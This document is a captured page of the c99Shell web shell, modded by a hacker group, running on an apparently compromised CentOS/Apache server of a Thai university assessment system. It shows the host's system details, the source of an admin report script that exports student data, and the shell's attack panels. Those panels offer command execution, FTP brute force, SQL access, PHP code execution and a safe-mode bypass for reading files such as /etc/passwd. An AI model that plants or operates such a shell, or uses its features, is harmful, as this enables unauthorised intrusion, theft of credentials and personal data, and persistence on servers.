!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/admin/   drwxr-xr-x
Free 52.3 GB of 127.8 GB (40.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     repCloseDateStudent.php (10.07 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
header
('Content-type: application/xls');
header('Content-Disposition: attachment; filename="testing.xls"');

include_once 
"../../class/clsDB.php";
include_once 
"../../class/clsConnection.php";
include_once 
"../global.php";
include_once 
"../class/clsStudentAssess.php";
include_once 
"../class/clsReg_Program.php";
include_once 
"../class/clsRegistration.php";
include_once 
"../class/clsClassAssess.php";
include_once 
"../class/clsCourseAssess.php";
include_once 
"../class/clsClassInStructorAssess.php";
include_once 
"../class/clsOfficerAssess.php";
include_once 
"../class/clsDefineAssessment.php";
include_once 
"../class/clsDoAssessment.php";
include_once 
"../class/clsAssessForm.php";
include_once 
"../class/clsHoldCourse.php";
include_once 
"../class/clsHoldStudent.php";
include_once 
"../class/clsDoAssessmentHStd.php";
include_once 
"../class/clsHoldProgram.php";

$oCR = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_REG'], $GLOBALS['USER_REG'], $GLOBALS['PASSWORD_REG']);

$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

$oStd = new StudentAssess($oCA);
$oProg=new Program($oCR);
$oReg = new Registration($oCA);
$oClass = new ClassAssess($oCA);
$oCourse = new CourseAssess($oCA);
$oCIS = new ClassInStructorAssess($oCA);
$oOf = new OfficerAssess($oCA);
$oDA = new DefineAssessment($oCA);
$oDo = new DoAssessment($oCA);
$oAF = new AssessForm($oCA);
$oHC = new HoldCourse($oCA);
$oHStd = new HoldStudent($oCA);
$oDoHStd = new DoAssessmentHStd($oCA);
$oHP = new HoldProgram($oCA);

$oStd->SearchByKey($studentId);
$oStd->GetRecord();

$oProg->SearchProgramIdByPrgramName($oStd->programName);
$oProg->GetRecord();
?>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<table width="740" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr> 
        <td colspan="2" height="22"><font size="2"><b>รหัสนักศึกษา</b></font></td>
        <td colspan="3"><font size="2"><b>:</b>&nbsp;<?php echo $oStd->studentCode;?></font></td>
        <td colspan="2"><font size="2"><b>ชื่อ-นามสกุล</b></font></td>
        <td colspan="3"><font size="2"><b>:</b>&nbsp;<?php echo $oStd->prefixName.$oStd->studentName.' '.$oStd->studentSurname;?></font></td>
    </tr>
    <tr> 
        <td colspan="2" height="22"><font size="2"><b>หลักสูตร</b></font></td>
        <td colspan="3"><font size="2"><b>:</b>&nbsp;<?php echo $oStd->programName;?></font></td>
        <td colspan="2"><font size="2"><b>ชั้นปี</b></font></td>
        <td colspan="3"><font size="2"><b>:</b>&nbsp;<?php echo $oStd->studentYear;?></font></td>
    </tr>
    <tr> 
        <td colspan="2" height="22"><font size="2"><b>ปีการศึกษา</b></font></td>
        <td colspan="3"><font size="2"><b>:</b>&nbsp;<?php echo $acadYear ?></font></td>
        <td colspan="2"><font size="2"><b>ภาคการศึกษา</b></font></td>
        <td colspan="3"><font size="2"><b>:</b>&nbsp;<?php echo $semester;?></font></td>
    </tr>
    <tr> 
        <td height="22" colspan="10"></td>
    </tr>
<?php
    $coTitleFlag 
0;
    
$oReg->RSEnrollItemByStIdAndAcYAndSe($oStd->studentId$acadYear$semester);
    while(
$oReg->GetRecord()) {
        
$coFlag 0;
        
        
$oClass->SearchByKey($oReg->classId);
        
$oClass->GetRecord();
        
        
$oCourse->SearchByKey($oClass->courseId);
        
$oCourse->GetRecord();
        
        
$oCIS->SearchByClassIdGroupClassIdOfficerId($oReg->classId);
        while(
$oCIS->GetRecord()) {
            
$ofFlag 0;
            
            
$oOf->SearchByKey($oCIS->officerId);
            
$oOf->GetRecord();
            
            
// case 0
            
$oDA->SearchByAcadSemFlag($acadYear$semester0);
            while(
$oDA->GetRecord()) {    
                
$oDo->CheckAssessment($oDA->defineid$oStd->studentId$oCIS->officerId$oReg->classId$oClass->section);
                if(!
$oDo->GetRecord()) {
                    
$coTitleFlag++;
                    
$coFlag++;
                    
$ofFlag++;
                    
                    if(
$coTitleFlag == 1) {
?>
    <tr>
        <td height="22" colspan="10"><font size="2"><b>การประเมินการเรียนการสอนรายวิชา (ขึ้นกับรายวิชา)</b></font></td>
    </tr>
<?php
                    
}
                    
                    if(
$coFlag == 1) {
?>
    <tr>
        <td height="22" colspan="10"><font size="2"><?php echo $oCourse->courseCode." ".$oCourse->courseName." ".$oCourse->courseUnit." กลุ่ม ".$oClass->section;?></font></td>
    </tr>
    <tr>
        <td height="22"></td>
        <td colspan="9"><font size="2"><b>การประเมินการเรียนการสอนของอาจารย์</b></font></td>
    </tr>
<?php
                    
}
                    
                    if(
$ofFlag == 1) {
?>
    <tr>
        <td height="22"></td>
        <td colspan="9"><font size="2"><?php echo $oOf->officerCode." ".$oOf->officerName." ".$oOf->officerSurname;?></font></td>
    </tr>
<?php
                    
}
                    
                    
$oAF->SearchByKey($oDA->assid);
                    
$oAF->GetRecord();
?>
    <tr>
        <td colspan="2" height="22"></td>
        <td colspan="8"><font size="2"><?php echo $ofFlag.'. '.$oAF->nameAss;?></font></td>
    </tr>
<?php                        
                
}
            }    
// end while $oDA
            
            // case 1
            
$oDA->SearchByAcadSemFlag($acadYear$semester1);
            while(
$oDA->GetRecord()) {
                
$oHC->SearchByDefineidClassId($oDA->defineid$oReg->classId);
                if(
$oHC->GetRecord()) {
                    
$oDo->CheckAssessment($oDA->defineid$oStd->studentId$oCIS->officerId$oReg->classId$oClass->section);
                    if(!
$oDo->GetRecord()) {
                        
$coTitleFlag++;
                        
$coFlag++;
                        
$ofFlag++;
                        
                        if(
$coTitleFlag == 1) {
?>
    <tr>
        <td height="22" colspan="10"><font size="2"><b>การประเมินการเรียนการสอนรายวิชา (ขึ้นกับรายวิชา)</b></font></td>
    </tr>
<?php
                        
}
                        
                        if(
$coFlag == 1) {
?>
    <tr>
        <td height="22" colspan="10"><font size="2"><?php echo $oCourse->courseCode." ".$oCourse->courseName." ".$oCourse->courseUnit." กลุ่ม ".$oClass->section;?></font></td>
    </tr>
    <tr>
        <td height="22"></td>
        <td colspan="9"><font size="2"><b>การประเมินการเรียนการสอนของอาจารย์</b></font></td>
    </tr>
<?php
                        
}
                        
                        if(
$ofFlag == 1) {
?>
    <tr>
        <td height="22"></td>
        <td colspan="9"><font size="2"><?php echo $oOf->officerCode." ".$oOf->officerName." ".$oOf->officerSurname;?></font></td>
    </tr>
<?php
                        
}
                        
                        
$oAF->SearchByKey($oDA->assid);
                        
$oAF->GetRecord();
?>
    <tr>
        <td colspan="2" height="22"></td>
        <td colspan="8"><font size="2"><?php echo $ofFlag.'. '.$oAF->nameAss;?></font></td>
    </tr>
<?php
                    
}
                }    
// end while $oHC
            
}    // end while $oDA
        
}    // end while $oCIS
        
        
$ovFlag 0;
        
// case 5
        
$oDA->SearchByAcadSemFlag($acadYear$semester5);
        while(
$oDA->GetRecord()) {
            
$oDo->CheckAssessment($oDA->defineid$oStd->studentId0$oReg->classId$oClass->section);
            if(!
$oDo->GetRecord()) {
                
$coTitleFlag++;
                
$coFlag++;
                
$ovFlag++;
                
                if(
$coTitleFlag == 1) {
?>
    <tr>
        <td height="22" colspan="10"><font size="2"><b>การประเมินการเรียนการสอนรายวิชา (ขึ้นกับรายวิชา)</b></font></td>
    </tr>
<?php
                
}
                
                if(
$coFlag == 1) {
?>
    <tr>
        <td height="22" colspan="10"><font size="2"><?php echo $oCourse->courseCode." ".$oCourse->courseName." ".$oCourse->courseUnit." กลุ่ม ".$oClass->section;?></font></td>
    </tr>
<?php
                
}
                
                if(
$ovFlag == 1) {
?>
    <tr>
        <td height="22"></td>
        <td colspan="9"><font size="2"><b>การประเมินการเรียนการสอนแบบภาพรวม (ทั้งวิชา)</b></font></td>
    </tr>
<?php
                
}
                
                
$oAF->SearchByKey($oDA->assid);
                
$oAF->GetRecord();
?>
    <tr>
        <td colspan="2" height="22"></td>
        <td colspan="8"><font size="2"><?php echo $ovFlag.'. '.$oAF->nameAss;?></font></td>
    </tr>
<?php
            
}
        }    
// end while $oDA
        
        // case 6
        
$oDA->SearchByAcadSemFlag($acadYear$semester6);
        while(
$oDA->GetRecord()) {
            
$oHC->SearchByDefineidClassId($oDA->defineid$oReg->classId);
            if(
$oHC->GetRecord()) {
                
$oDo->CheckAssessment($oDA->defineid$oStd->studentId0$oReg->classId$oClass->section);
                if(!
$oDo->GetRecord()) {
                    
$coTitleFlag++;
                    
$coFlag++;
                    
$ovFlag++;
                    
                    if(
$coTitleFlag == 1) {
?>
    <tr>
        <td height="22" colspan="10"><font size="2"><b>การประเมินการเรียนการสอนรายวิชา (ขึ้นกับรายวิชา)</b></font></td>
    </tr>
<?php
                    
}
                    
                    if(
$coFlag == 1) {
?>
    <tr>
        <td height="22" colspan="10"><font size="2"><?php echo $oCourse->courseCode." ".$oCourse->courseName." ".$oCourse->courseUnit." กลุ่ม ".$oClass->section;?></font></td>
    </tr>
<?php
                    
}
                    
                    if(
$ovFlag == 1) {
?>
    <tr>
        <td height="22"></td>
        <td colspan="9"><font size="2"><b>การประเมินการเรียนการสอนแบบภาพรวม (ทั้งวิชา)</b></font></td>
    </tr>
<?php
                    
}
                    
                    
$oAF->SearchByKey($oDA->assid);
                    
$oAF->GetRecord();
?>
    <tr>
        <td colspan="2" height="22"></td>
        <td colspan="8"><font size="2"><?php echo $ovFlag.'. '.$oAF->nameAss;?></font></td>
    </tr>
<?php
                
}
            }    
// end while $oHC
        
}    // end while $oDA
    
}    // end while $oReg
    
    // case 2
    
$otherTitleFlag 0;
    
$oDA->SearchByAcadSemFlag($acadYear$semester2);
    while(
$oDA->GetRecord()) {
        
$oHStd->RSHoldStudentByDfIdAndStY($oDA->defineid$oStd->studentYear);
        if(
$oHStd->GetRecord()) {
            if(!
$oDoHStd->CountCheckAssessment($oDA->defineid$oStd->studentId)) {
                
$otherTitleFlag++;
                
                if(
$otherTitleFlag == 1) {
?>
    <tr> 
        <td height="22" colspan="10"><font size="2"><b>การประเมินโดยขึ้นกับหลักสูตร/ชั้นปี</b></font></td>
    </tr>
<?php
                
}
                
                
$oAF->SearchByKey($oDA->assid);
                
$oAF->GetRecord();
?>
    <tr>
        <td height="22"></td>
        <td colspan="9"><font size="2"><?php echo $otherTitleFlag.'. '.$oAF->nameAss;?></font></td>
    </tr>
<?php
            
}    // end if !$oDoHStd
        
}    // end if $oHStd
    
}    // end while $oDA
    
    // case 3
    
$oDA->SearchByAcadSemFlag($acadYear$semester3);
    while(
$oDA->GetRecord()) {
        
$oHP->SearchByDefineIdProgramIdStdYearAss($oDA->defineid$oProg->programId$oStd->studentYear);
        if(
$oHP->GetRecord()) {
            if(!
$oDoHStd->CountCheckAssessment($oDA->defineid$oStd->studentId)) {
                
$otherTitleFlag++;
                
                if(
$otherTitleFlag == 1) {
?>
    <tr> 
        <td height="22" colspan="10"><font size="2"><b>การประเมินโดยขึ้นกับหลักสูตร/ชั้นปี</b></font></td>
    </tr>
<?php
                
}
                
                
$oAF->SearchByKey($oDA->assid);
                
$oAF->GetRecord();
?>
    <tr>
        <td height="22"></td>
        <td colspan="9"><font size="2"><?php echo $otherTitleFlag.'. '.$oAF->nameAss;?></font></td>
    </tr>
<?php
            
}    // end if !$oDoHStd
        
}    // end if $oHP
    
}    // end while $oDA
?>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0069 ]--